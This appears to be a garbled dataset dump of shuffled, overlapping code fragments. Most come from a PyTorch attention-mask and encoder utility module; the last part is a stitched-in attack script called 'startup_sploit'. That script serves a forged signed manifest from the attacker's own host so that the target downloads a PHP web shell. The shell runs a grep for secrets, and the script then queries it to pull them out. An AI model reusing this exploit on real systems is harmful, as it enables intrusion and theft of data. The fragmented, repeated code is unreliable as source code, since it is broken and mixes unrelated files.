"Optional[torch.Tensor] local_structure_size: Union[int, Tuple[int, int]] local_mask: Optional[AttentionMask] = None local_weights: Optional[torch.Tensor] = None",
"global_features: Optional[torch.Tensor] local_structure_size: Union[int, Tuple[int, int]] local_mask: Optional[AttentionMask] = None local_weights: Optional[torch.Tensor] =",
"in (torch.bool, torch.uint8, torch.int64)), \\ (type(mask), mask.dtype) return AttentionMask.from_binary_mask(mask, dtype) @staticmethod def _compute_additive_attention_mask(binary_attention_mask:",
"AttentionMask): return mask else: assert isinstance(mask, torch.Tensor) and (mask.dtype in (torch.bool, torch.uint8, torch.int64)),",
"@staticmethod def get_additive_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None: return None if",
"if mask is None: return None if isinstance(mask, AttentionMask): return mask.additive_mask elif mask.dtype",
"norm is None: return lambda x: x elif norm == 'layer': return nn.LayerNorm(d)",
"torch.zeros_like(binary_attention_mask, dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf')) return additive_attention_mask @staticmethod def get_additive_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if",
"Optional['AttentionMask'] = None, mask_ab: Optional['AttentionMask'] = None): \"\"\" :param mask_a: (B x N_a)",
"Optional['AttentionMask'] = None): \"\"\" :param mask_a: (B x N_a) :param mask_b: (B x",
"Optional[str], d): if norm is None: return lambda x: x elif norm ==",
"is None and mask_ab is None: return None else: mask = 0. if",
"(B x N_b) :param mask_ab: (B x N_a x N_b) :return: \"\"\" if",
"abc import ABC, abstractmethod from dataclasses import dataclass from functools import partial from",
"from omegaconf import MISSING from torch import nn import torch.nn.functional as F from",
"binary_mask.bool() additive_mask = AttentionMask._compute_additive_attention_mask(binary_mask, dtype) return AttentionMask(binary_mask, ~binary_mask, additive_mask) @staticmethod def from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask',",
"= None): ... @dataclass class AttentionMask(TensorDataclassMixin): binary_mask: torch.Tensor inverted_binary_mask: torch.Tensor additive_mask: torch.Tensor @staticmethod",
"None: mask = mask + mask_a.additive_mask[:, :, None] if mask_b is not None:",
"mask_ab is None: return None else: mask = 0. if mask_ab is not",
"mask_b: (B x N_b) :param mask_ab: (B x N_a x N_b) :return: \"\"\"",
"Optional, Union, Tuple, Any import torch from omegaconf import MISSING from torch import",
"is None: return None else: mask = 0. if mask_ab is not None:",
"not None: mask = mask + mask_a.additive_mask[:, :, None] if mask_b is not",
"mask else: assert isinstance(mask, torch.Tensor) and (mask.dtype in (torch.bool, torch.uint8, torch.int64)), \\ (type(mask),",
"@staticmethod def _compute_additive_attention_mask(binary_attention_mask: torch.Tensor, dtype): if binary_attention_mask is None: return None additive_attention_mask =",
"None: mask = mask + mask_ab.additive_mask if mask_a is not None: mask =",
"dataclasses import dataclass from functools import partial from typing import Optional, Union, Tuple,",
"'batch': return nn.BatchNorm1d(d) elif norm == 'l2': return partial(F.normalize, dim=-1, p=2) else: raise",
"None: return lambda x: x elif norm == 'layer': return nn.LayerNorm(d) elif norm",
"str = MISSING class EncoderInterface(ABC): def __init__(self): super(EncoderInterface, self).__init__() self.transform = lambda x:",
"EncoderOutput(TensorDataclassMixin): local_features: Optional[torch.Tensor] global_features: Optional[torch.Tensor] local_structure_size: Union[int, Tuple[int, int]] local_mask: Optional[AttentionMask] = None",
"mask_ab is not None: mask = mask + mask_ab.additive_mask if mask_a is not",
"class EncoderInterface(ABC): def __init__(self): super(EncoderInterface, self).__init__() self.transform = lambda x: x self.val_transform =",
"= AttentionMask._compute_additive_attention_mask(binary_mask, dtype) return AttentionMask(binary_mask, ~binary_mask, additive_mask) @staticmethod def from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype):",
"ABC, abstractmethod from dataclasses import dataclass from functools import partial from typing import",
"None @abstractmethod def update_data_augmentation(self, data_augmentation_config: Optional[Any] = None): ... @dataclass class AttentionMask(TensorDataclassMixin): binary_mask:",
"mask_ab: (B x N_a x N_b) :return: \"\"\" if mask_a is None and",
"import nn import torch.nn.functional as F from torch.utils.data.dataloader import default_collate from common.dataclass_utils import",
"x N_b) :param mask_ab: (B x N_a x N_b) :return: \"\"\" if mask_a",
"is None: return None if isinstance(mask, AttentionMask): return mask.additive_mask elif mask.dtype == torch.bool",
"_encoder_cls_: str = MISSING modality: str = MISSING class EncoderInterface(ABC): def __init__(self): super(EncoderInterface,",
"from common.dataclass_utils import TensorDataclassMixin def get_norm_layer(norm: Optional[str], d): if norm is None: return",
"lambda x: x self.val_transform = lambda x: x self.batch_collator = default_collate @property def",
"x N_a x N_b) :return: \"\"\" if mask_a is None and mask_b is",
"class EncoderOutput(TensorDataclassMixin): local_features: Optional[torch.Tensor] global_features: Optional[torch.Tensor] local_structure_size: Union[int, Tuple[int, int]] local_mask: Optional[AttentionMask] =",
"Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None or isinstance(mask, AttentionMask): return mask else:",
"mask = 0. if mask_ab is not None: mask = mask + mask_ab.additive_mask",
"x self.val_transform = lambda x: x self.batch_collator = default_collate @property def max_region_size(self): return",
"torch.Tensor]], dtype): if mask is None: return None if isinstance(mask, AttentionMask): return mask.additive_mask",
"None] if mask_b is not None: mask = mask + mask_b.additive_mask[:, None, :]",
"return AttentionMask._compute_additive_attention_mask(mask, dtype) else: return mask @staticmethod def get_additive_cross_attention_mask(mask_a: Optional['AttentionMask'] = None, mask_b:",
"if isinstance(mask, AttentionMask): return mask.additive_mask elif mask.dtype == torch.bool or mask.dtype == torch.uint8:",
":param mask_b: (B x N_b) :param mask_ab: (B x N_a x N_b) :return:",
"None additive_attention_mask = torch.zeros_like(binary_attention_mask, dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf')) return additive_attention_mask @staticmethod def get_additive_mask(mask: Optional[Union['AttentionMask',",
"= mask + mask_b.additive_mask[:, None, :] return mask @dataclass class EncoderOutput(TensorDataclassMixin): local_features: Optional[torch.Tensor]",
"local_features: Optional[torch.Tensor] global_features: Optional[torch.Tensor] local_structure_size: Union[int, Tuple[int, int]] local_mask: Optional[AttentionMask] = None local_weights:",
"and mask_ab is None: return None else: mask = 0. if mask_ab is",
"mask.additive_mask elif mask.dtype == torch.bool or mask.dtype == torch.uint8: return AttentionMask._compute_additive_attention_mask(mask, dtype) else:",
"None: return None additive_attention_mask = torch.zeros_like(binary_attention_mask, dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf')) return additive_attention_mask @staticmethod def",
"+ mask_ab.additive_mask if mask_a is not None: mask = mask + mask_a.additive_mask[:, :,",
"N_a x N_b) :return: \"\"\" if mask_a is None and mask_b is None",
"@staticmethod def from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None or isinstance(mask, AttentionMask):",
"return None @abstractmethod def update_data_augmentation(self, data_augmentation_config: Optional[Any] = None): ... @dataclass class AttentionMask(TensorDataclassMixin):",
"return nn.LayerNorm(d) elif norm == 'batch': return nn.BatchNorm1d(d) elif norm == 'l2': return",
"norm == 'l2': return partial(F.normalize, dim=-1, p=2) else: raise NotImplementedError @dataclass class EncoderConfig:",
"p=2) else: raise NotImplementedError @dataclass class EncoderConfig: _encoder_cls_: str = MISSING modality: str",
"AttentionMask(binary_mask, ~binary_mask, additive_mask) @staticmethod def from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None",
"'layer': return nn.LayerNorm(d) elif norm == 'batch': return nn.BatchNorm1d(d) elif norm == 'l2':",
"return AttentionMask(binary_mask, ~binary_mask, additive_mask) @staticmethod def from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is",
"== torch.uint8: return AttentionMask._compute_additive_attention_mask(mask, dtype) else: return mask @staticmethod def get_additive_cross_attention_mask(mask_a: Optional['AttentionMask'] =",
"from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None or isinstance(mask, AttentionMask): return mask",
"None or isinstance(mask, AttentionMask): return mask else: assert isinstance(mask, torch.Tensor) and (mask.dtype in",
"return mask @staticmethod def get_additive_cross_attention_mask(mask_a: Optional['AttentionMask'] = None, mask_b: Optional['AttentionMask'] = None, mask_ab:",
"return mask @dataclass class EncoderOutput(TensorDataclassMixin): local_features: Optional[torch.Tensor] global_features: Optional[torch.Tensor] local_structure_size: Union[int, Tuple[int, int]]",
"modality: str = MISSING class EncoderInterface(ABC): def __init__(self): super(EncoderInterface, self).__init__() self.transform = lambda",
"mask_b: Optional['AttentionMask'] = None, mask_ab: Optional['AttentionMask'] = None): \"\"\" :param mask_a: (B x",
"dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf')) return additive_attention_mask @staticmethod def get_additive_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask",
"torch.nn.functional as F from torch.utils.data.dataloader import default_collate from common.dataclass_utils import TensorDataclassMixin def get_norm_layer(norm:",
"None): \"\"\" :param mask_a: (B x N_a) :param mask_b: (B x N_b) :param",
"return partial(F.normalize, dim=-1, p=2) else: raise NotImplementedError @dataclass class EncoderConfig: _encoder_cls_: str =",
"super(EncoderInterface, self).__init__() self.transform = lambda x: x self.val_transform = lambda x: x self.batch_collator",
"None: return None else: mask = 0. if mask_ab is not None: mask",
"0. if mask_ab is not None: mask = mask + mask_ab.additive_mask if mask_a",
"if binary_attention_mask is None: return None additive_attention_mask = torch.zeros_like(binary_attention_mask, dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf')) return",
"and (mask.dtype in (torch.bool, torch.uint8, torch.int64)), \\ (type(mask), mask.dtype) return AttentionMask.from_binary_mask(mask, dtype) @staticmethod",
"= torch.zeros_like(binary_attention_mask, dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf')) return additive_attention_mask @staticmethod def get_additive_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype):",
":param mask_ab: (B x N_a x N_b) :return: \"\"\" if mask_a is None",
"default_collate from common.dataclass_utils import TensorDataclassMixin def get_norm_layer(norm: Optional[str], d): if norm is None:",
"elif norm == 'layer': return nn.LayerNorm(d) elif norm == 'batch': return nn.BatchNorm1d(d) elif",
"def __init__(self): super(EncoderInterface, self).__init__() self.transform = lambda x: x self.val_transform = lambda x:",
"@dataclass class AttentionMask(TensorDataclassMixin): binary_mask: torch.Tensor inverted_binary_mask: torch.Tensor additive_mask: torch.Tensor @staticmethod def from_binary_mask(binary_mask: torch.Tensor,",
"not None: binary_mask = binary_mask.bool() additive_mask = AttentionMask._compute_additive_attention_mask(binary_mask, dtype) return AttentionMask(binary_mask, ~binary_mask, additive_mask)",
"None and mask_ab is None: return None else: mask = 0. if mask_ab",
"MISSING class EncoderInterface(ABC): def __init__(self): super(EncoderInterface, self).__init__() self.transform = lambda x: x self.val_transform",
"else: mask = 0. if mask_ab is not None: mask = mask +",
"elif norm == 'l2': return partial(F.normalize, dim=-1, p=2) else: raise NotImplementedError @dataclass class",
"dtype): if binary_attention_mask is None: return None additive_attention_mask = torch.zeros_like(binary_attention_mask, dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf'))",
"from_binary_mask(binary_mask: torch.Tensor, dtype): if binary_mask is not None: binary_mask = binary_mask.bool() additive_mask =",
"elif norm == 'batch': return nn.BatchNorm1d(d) elif norm == 'l2': return partial(F.normalize, dim=-1,",
"= MISSING class EncoderInterface(ABC): def __init__(self): super(EncoderInterface, self).__init__() self.transform = lambda x: x",
"= lambda x: x self.batch_collator = default_collate @property def max_region_size(self): return None @abstractmethod",
"dtype) @staticmethod def _compute_additive_attention_mask(binary_attention_mask: torch.Tensor, dtype): if binary_attention_mask is None: return None additive_attention_mask",
"self.transform = lambda x: x self.val_transform = lambda x: x self.batch_collator = default_collate",
"= mask + mask_ab.additive_mask if mask_a is not None: mask = mask +",
"def max_region_size(self): return None @abstractmethod def update_data_augmentation(self, data_augmentation_config: Optional[Any] = None): ... @dataclass",
"binary_attention_mask is None: return None additive_attention_mask = torch.zeros_like(binary_attention_mask, dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf')) return additive_attention_mask",
"mask_b is None and mask_ab is None: return None else: mask = 0.",
"mask @dataclass class EncoderOutput(TensorDataclassMixin): local_features: Optional[torch.Tensor] global_features: Optional[torch.Tensor] local_structure_size: Union[int, Tuple[int, int]] local_mask:",
"dtype) else: return mask @staticmethod def get_additive_cross_attention_mask(mask_a: Optional['AttentionMask'] = None, mask_b: Optional['AttentionMask'] =",
"x elif norm == 'layer': return nn.LayerNorm(d) elif norm == 'batch': return nn.BatchNorm1d(d)",
"nn.BatchNorm1d(d) elif norm == 'l2': return partial(F.normalize, dim=-1, p=2) else: raise NotImplementedError @dataclass",
"MISSING modality: str = MISSING class EncoderInterface(ABC): def __init__(self): super(EncoderInterface, self).__init__() self.transform =",
"if mask_a is None and mask_b is None and mask_ab is None: return",
"torch.utils.data.dataloader import default_collate from common.dataclass_utils import TensorDataclassMixin def get_norm_layer(norm: Optional[str], d): if norm",
"= None, mask_ab: Optional['AttentionMask'] = None): \"\"\" :param mask_a: (B x N_a) :param",
"... @dataclass class AttentionMask(TensorDataclassMixin): binary_mask: torch.Tensor inverted_binary_mask: torch.Tensor additive_mask: torch.Tensor @staticmethod def from_binary_mask(binary_mask:",
"mask = mask + mask_ab.additive_mask if mask_a is not None: mask = mask",
"binary_mask is not None: binary_mask = binary_mask.bool() additive_mask = AttentionMask._compute_additive_attention_mask(binary_mask, dtype) return AttentionMask(binary_mask,",
"is not None: binary_mask = binary_mask.bool() additive_mask = AttentionMask._compute_additive_attention_mask(binary_mask, dtype) return AttentionMask(binary_mask, ~binary_mask,",
"Optional[torch.Tensor] global_features: Optional[torch.Tensor] local_structure_size: Union[int, Tuple[int, int]] local_mask: Optional[AttentionMask] = None local_weights: Optional[torch.Tensor]",
"+ mask_b.additive_mask[:, None, :] return mask @dataclass class EncoderOutput(TensorDataclassMixin): local_features: Optional[torch.Tensor] global_features: Optional[torch.Tensor]",
"mask_ab: Optional['AttentionMask'] = None): \"\"\" :param mask_a: (B x N_a) :param mask_b: (B",
"torch import nn import torch.nn.functional as F from torch.utils.data.dataloader import default_collate from common.dataclass_utils",
"update_data_augmentation(self, data_augmentation_config: Optional[Any] = None): ... @dataclass class AttentionMask(TensorDataclassMixin): binary_mask: torch.Tensor inverted_binary_mask: torch.Tensor",
"or isinstance(mask, AttentionMask): return mask else: assert isinstance(mask, torch.Tensor) and (mask.dtype in (torch.bool,",
"dim=-1, p=2) else: raise NotImplementedError @dataclass class EncoderConfig: _encoder_cls_: str = MISSING modality:",
"(torch.bool, torch.uint8, torch.int64)), \\ (type(mask), mask.dtype) return AttentionMask.from_binary_mask(mask, dtype) @staticmethod def _compute_additive_attention_mask(binary_attention_mask: torch.Tensor,",
"mask.dtype == torch.bool or mask.dtype == torch.uint8: return AttentionMask._compute_additive_attention_mask(mask, dtype) else: return mask",
"and mask_b is None and mask_ab is None: return None else: mask =",
"<filename>src/models/components/utils.py<gh_stars>1-10 from abc import ABC, abstractmethod from dataclasses import dataclass from functools import",
"+ mask_a.additive_mask[:, :, None] if mask_b is not None: mask = mask +",
"'l2': return partial(F.normalize, dim=-1, p=2) else: raise NotImplementedError @dataclass class EncoderConfig: _encoder_cls_: str",
"functools import partial from typing import Optional, Union, Tuple, Any import torch from",
"torch.Tensor additive_mask: torch.Tensor @staticmethod def from_binary_mask(binary_mask: torch.Tensor, dtype): if binary_mask is not None:",
"torch.int64)), \\ (type(mask), mask.dtype) return AttentionMask.from_binary_mask(mask, dtype) @staticmethod def _compute_additive_attention_mask(binary_attention_mask: torch.Tensor, dtype): if",
"from torch.utils.data.dataloader import default_collate from common.dataclass_utils import TensorDataclassMixin def get_norm_layer(norm: Optional[str], d): if",
"torch.bool or mask.dtype == torch.uint8: return AttentionMask._compute_additive_attention_mask(mask, dtype) else: return mask @staticmethod def",
"@dataclass class EncoderConfig: _encoder_cls_: str = MISSING modality: str = MISSING class EncoderInterface(ABC):",
":return: \"\"\" if mask_a is None and mask_b is None and mask_ab is",
":param mask_a: (B x N_a) :param mask_b: (B x N_b) :param mask_ab: (B",
"mask_a.additive_mask[:, :, None] if mask_b is not None: mask = mask + mask_b.additive_mask[:,",
"def get_norm_layer(norm: Optional[str], d): if norm is None: return lambda x: x elif",
"mask_ab.additive_mask if mask_a is not None: mask = mask + mask_a.additive_mask[:, :, None]",
"float('-inf')) return additive_attention_mask @staticmethod def get_additive_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None:",
":] return mask @dataclass class EncoderOutput(TensorDataclassMixin): local_features: Optional[torch.Tensor] global_features: Optional[torch.Tensor] local_structure_size: Union[int, Tuple[int,",
"mask_a: (B x N_a) :param mask_b: (B x N_b) :param mask_ab: (B x",
"import default_collate from common.dataclass_utils import TensorDataclassMixin def get_norm_layer(norm: Optional[str], d): if norm is",
"= None, mask_b: Optional['AttentionMask'] = None, mask_ab: Optional['AttentionMask'] = None): \"\"\" :param mask_a:",
"else: assert isinstance(mask, torch.Tensor) and (mask.dtype in (torch.bool, torch.uint8, torch.int64)), \\ (type(mask), mask.dtype)",
"\"\"\" :param mask_a: (B x N_a) :param mask_b: (B x N_b) :param mask_ab:",
"Optional[Any] = None): ... @dataclass class AttentionMask(TensorDataclassMixin): binary_mask: torch.Tensor inverted_binary_mask: torch.Tensor additive_mask: torch.Tensor",
"(B x N_a x N_b) :return: \"\"\" if mask_a is None and mask_b",
"AttentionMask._compute_additive_attention_mask(binary_mask, dtype) return AttentionMask(binary_mask, ~binary_mask, additive_mask) @staticmethod def from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if",
"is None and mask_b is None and mask_ab is None: return None else:",
"Any import torch from omegaconf import MISSING from torch import nn import torch.nn.functional",
"return nn.BatchNorm1d(d) elif norm == 'l2': return partial(F.normalize, dim=-1, p=2) else: raise NotImplementedError",
"None: binary_mask = binary_mask.bool() additive_mask = AttentionMask._compute_additive_attention_mask(binary_mask, dtype) return AttentionMask(binary_mask, ~binary_mask, additive_mask) @staticmethod",
"x: x self.batch_collator = default_collate @property def max_region_size(self): return None @abstractmethod def update_data_augmentation(self,",
"= lambda x: x self.val_transform = lambda x: x self.batch_collator = default_collate @property",
"isinstance(mask, AttentionMask): return mask.additive_mask elif mask.dtype == torch.bool or mask.dtype == torch.uint8: return",
"lambda x: x elif norm == 'layer': return nn.LayerNorm(d) elif norm == 'batch':",
"d): if norm is None: return lambda x: x elif norm == 'layer':",
"torch.Tensor]], dtype): if mask is None or isinstance(mask, AttentionMask): return mask else: assert",
"AttentionMask): return mask.additive_mask elif mask.dtype == torch.bool or mask.dtype == torch.uint8: return AttentionMask._compute_additive_attention_mask(mask,",
"additive_mask: torch.Tensor @staticmethod def from_binary_mask(binary_mask: torch.Tensor, dtype): if binary_mask is not None: binary_mask",
"\"\"\" if mask_a is None and mask_b is None and mask_ab is None:",
"or mask.dtype == torch.uint8: return AttentionMask._compute_additive_attention_mask(mask, dtype) else: return mask @staticmethod def get_additive_cross_attention_mask(mask_a:",
"= 0. if mask_ab is not None: mask = mask + mask_ab.additive_mask if",
"(B x N_a) :param mask_b: (B x N_b) :param mask_ab: (B x N_a",
"additive_mask = AttentionMask._compute_additive_attention_mask(binary_mask, dtype) return AttentionMask(binary_mask, ~binary_mask, additive_mask) @staticmethod def from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask', torch.Tensor]],",
"= binary_mask.bool() additive_mask = AttentionMask._compute_additive_attention_mask(binary_mask, dtype) return AttentionMask(binary_mask, ~binary_mask, additive_mask) @staticmethod def from_binary_mask_or_attention_mask(mask:",
"\\ (type(mask), mask.dtype) return AttentionMask.from_binary_mask(mask, dtype) @staticmethod def _compute_additive_attention_mask(binary_attention_mask: torch.Tensor, dtype): if binary_attention_mask",
"mask + mask_b.additive_mask[:, None, :] return mask @dataclass class EncoderOutput(TensorDataclassMixin): local_features: Optional[torch.Tensor] global_features:",
"@staticmethod def from_binary_mask(binary_mask: torch.Tensor, dtype): if binary_mask is not None: binary_mask = binary_mask.bool()",
"N_a) :param mask_b: (B x N_b) :param mask_ab: (B x N_a x N_b)",
"raise NotImplementedError @dataclass class EncoderConfig: _encoder_cls_: str = MISSING modality: str = MISSING",
"class EncoderConfig: _encoder_cls_: str = MISSING modality: str = MISSING class EncoderInterface(ABC): def",
"is not None: mask = mask + mask_ab.additive_mask if mask_a is not None:",
"return lambda x: x elif norm == 'layer': return nn.LayerNorm(d) elif norm ==",
"abstractmethod from dataclasses import dataclass from functools import partial from typing import Optional,",
"from torch import nn import torch.nn.functional as F from torch.utils.data.dataloader import default_collate from",
"torch.Tensor, dtype): if binary_attention_mask is None: return None additive_attention_mask = torch.zeros_like(binary_attention_mask, dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask,",
"AttentionMask(TensorDataclassMixin): binary_mask: torch.Tensor inverted_binary_mask: torch.Tensor additive_mask: torch.Tensor @staticmethod def from_binary_mask(binary_mask: torch.Tensor, dtype): if",
"max_region_size(self): return None @abstractmethod def update_data_augmentation(self, data_augmentation_config: Optional[Any] = None): ... @dataclass class",
"def from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None or isinstance(mask, AttentionMask): return",
"not None: mask = mask + mask_ab.additive_mask if mask_a is not None: mask",
"def get_additive_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None: return None if isinstance(mask,",
"typing import Optional, Union, Tuple, Any import torch from omegaconf import MISSING from",
"== 'l2': return partial(F.normalize, dim=-1, p=2) else: raise NotImplementedError @dataclass class EncoderConfig: _encoder_cls_:",
"torch.uint8, torch.int64)), \\ (type(mask), mask.dtype) return AttentionMask.from_binary_mask(mask, dtype) @staticmethod def _compute_additive_attention_mask(binary_attention_mask: torch.Tensor, dtype):",
"F from torch.utils.data.dataloader import default_collate from common.dataclass_utils import TensorDataclassMixin def get_norm_layer(norm: Optional[str], d):",
"def update_data_augmentation(self, data_augmentation_config: Optional[Any] = None): ... @dataclass class AttentionMask(TensorDataclassMixin): binary_mask: torch.Tensor inverted_binary_mask:",
"mask_a is None and mask_b is None and mask_ab is None: return None",
"@abstractmethod def update_data_augmentation(self, data_augmentation_config: Optional[Any] = None): ... @dataclass class AttentionMask(TensorDataclassMixin): binary_mask: torch.Tensor",
"import ABC, abstractmethod from dataclasses import dataclass from functools import partial from typing",
"get_additive_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None: return None if isinstance(mask, AttentionMask):",
"elif mask.dtype == torch.bool or mask.dtype == torch.uint8: return AttentionMask._compute_additive_attention_mask(mask, dtype) else: return",
"mask_b.additive_mask[:, None, :] return mask @dataclass class EncoderOutput(TensorDataclassMixin): local_features: Optional[torch.Tensor] global_features: Optional[torch.Tensor] local_structure_size:",
"@dataclass class EncoderOutput(TensorDataclassMixin): local_features: Optional[torch.Tensor] global_features: Optional[torch.Tensor] local_structure_size: Union[int, Tuple[int, int]] local_mask: Optional[AttentionMask]",
"import torch.nn.functional as F from torch.utils.data.dataloader import default_collate from common.dataclass_utils import TensorDataclassMixin def",
"x: x self.val_transform = lambda x: x self.batch_collator = default_collate @property def max_region_size(self):",
"(mask.dtype in (torch.bool, torch.uint8, torch.int64)), \\ (type(mask), mask.dtype) return AttentionMask.from_binary_mask(mask, dtype) @staticmethod def",
"== 'batch': return nn.BatchNorm1d(d) elif norm == 'l2': return partial(F.normalize, dim=-1, p=2) else:",
"= None): \"\"\" :param mask_a: (B x N_a) :param mask_b: (B x N_b)",
"return None if isinstance(mask, AttentionMask): return mask.additive_mask elif mask.dtype == torch.bool or mask.dtype",
"class AttentionMask(TensorDataclassMixin): binary_mask: torch.Tensor inverted_binary_mask: torch.Tensor additive_mask: torch.Tensor @staticmethod def from_binary_mask(binary_mask: torch.Tensor, dtype):",
"self.batch_collator = default_collate @property def max_region_size(self): return None @abstractmethod def update_data_augmentation(self, data_augmentation_config: Optional[Any]",
"= MISSING modality: str = MISSING class EncoderInterface(ABC): def __init__(self): super(EncoderInterface, self).__init__() self.transform",
"None: mask = mask + mask_b.additive_mask[:, None, :] return mask @dataclass class EncoderOutput(TensorDataclassMixin):",
"Optional['AttentionMask'] = None, mask_b: Optional['AttentionMask'] = None, mask_ab: Optional['AttentionMask'] = None): \"\"\" :param",
"lambda x: x self.batch_collator = default_collate @property def max_region_size(self): return None @abstractmethod def",
"not None: mask = mask + mask_b.additive_mask[:, None, :] return mask @dataclass class",
"(type(mask), mask.dtype) return AttentionMask.from_binary_mask(mask, dtype) @staticmethod def _compute_additive_attention_mask(binary_attention_mask: torch.Tensor, dtype): if binary_attention_mask is",
"self).__init__() self.transform = lambda x: x self.val_transform = lambda x: x self.batch_collator =",
"None else: mask = 0. if mask_ab is not None: mask = mask",
"return additive_attention_mask @staticmethod def get_additive_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None: return",
"Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None: return None if isinstance(mask, AttentionMask): return",
"= mask + mask_a.additive_mask[:, :, None] if mask_b is not None: mask =",
"is not None: mask = mask + mask_b.additive_mask[:, None, :] return mask @dataclass",
"data_augmentation_config: Optional[Any] = None): ... @dataclass class AttentionMask(TensorDataclassMixin): binary_mask: torch.Tensor inverted_binary_mask: torch.Tensor additive_mask:",
"binary_mask: torch.Tensor inverted_binary_mask: torch.Tensor additive_mask: torch.Tensor @staticmethod def from_binary_mask(binary_mask: torch.Tensor, dtype): if binary_mask",
"is None: return lambda x: x elif norm == 'layer': return nn.LayerNorm(d) elif",
"get_additive_cross_attention_mask(mask_a: Optional['AttentionMask'] = None, mask_b: Optional['AttentionMask'] = None, mask_ab: Optional['AttentionMask'] = None): \"\"\"",
"partial from typing import Optional, Union, Tuple, Any import torch from omegaconf import",
"TensorDataclassMixin def get_norm_layer(norm: Optional[str], d): if norm is None: return lambda x: x",
"isinstance(mask, torch.Tensor) and (mask.dtype in (torch.bool, torch.uint8, torch.int64)), \\ (type(mask), mask.dtype) return AttentionMask.from_binary_mask(mask,",
"if mask_a is not None: mask = mask + mask_a.additive_mask[:, :, None] if",
"if mask_ab is not None: mask = mask + mask_ab.additive_mask if mask_a is",
"norm == 'layer': return nn.LayerNorm(d) elif norm == 'batch': return nn.BatchNorm1d(d) elif norm"
] |
[
"print(\"Usage: ./startup_sploit <host> <my_ip>\") exit(1) PORT = 3255 HOST = sys.argv[1] MYIP =",
"./startup_sploit <host> <my_ip>\") exit(1) PORT = 3255 HOST = sys.argv[1] MYIP = sys.argv[2]",
"= sys.argv[2] MYPORT = \"0\" * (921-len(MYIP)) + \"4000\" MANIFEST = '{\"links\": [{\"url\":",
"= br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";' *\")?>\"\"\" PAYLOAD = b\"\"\"AAAAAA Url: http://%s:%s/JhXY.php Success: true Hashsum:",
"FAKE_PHP) ANS = b\"\"\"HTTP/1.1 200 OK Content-Length: %d %s?>\"\"\" % (len(PAYLOAD), PAYLOAD) c",
"(MYIP.encode(), MYPORT.encode(), len(FAKE_PHP), FAKE_PHP) ANS = b\"\"\"HTTP/1.1 200 OK Content-Length: %d %s?>\"\"\" %",
"connection from %s, sending files\" % (cl_info, )) cl.sendall(ANS) print(from_client.readline().strip()) print(from_client.readline().strip()) print(from_client.readline().strip()) print(requests.get(\"http://%s/JhXY.php?key=KnfSM\"",
"s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((\"0.0.0.0\", int(MYPORT))) s.listen() cl, cl_info = s.accept()",
"[{\"url\": \"http://mirror/wyjzmw.php\", \"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\": \"http://mirror/JhXY.php\", \"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE = 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP =",
"if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";' *\")?>\"\"\" PAYLOAD = b\"\"\"AAAAAA Url: http://%s:%s/JhXY.php Success: true Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length:",
"Success: true Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length: %d %s\"\"\" % (MYIP.encode(), MYPORT.encode(), len(FAKE_PHP), FAKE_PHP) ANS",
"c.makefile(\"r\") to_client = c.makefile(\"w\") print(from_client.readline().strip()) print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\" % (MYIP, MYPORT)); to_client.flush() print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\");",
"#!/usr/bin/python3 import socket import requests import sys if len(sys.argv) < 3: print(\"Usage: ./startup_sploit",
"PORT = 3255 HOST = sys.argv[1] MYIP = sys.argv[2] MYPORT = \"0\" *",
"1) s.bind((\"0.0.0.0\", int(MYPORT))) s.listen() cl, cl_info = s.accept() print(\"Got connection from %s, sending",
"% (MYIP.encode(), MYPORT.encode(), len(FAKE_PHP), FAKE_PHP) ANS = b\"\"\"HTTP/1.1 200 OK Content-Length: %d %s?>\"\"\"",
"%d %s\"\"\" % (MYIP.encode(), MYPORT.encode(), len(FAKE_PHP), FAKE_PHP) ANS = b\"\"\"HTTP/1.1 200 OK Content-Length:",
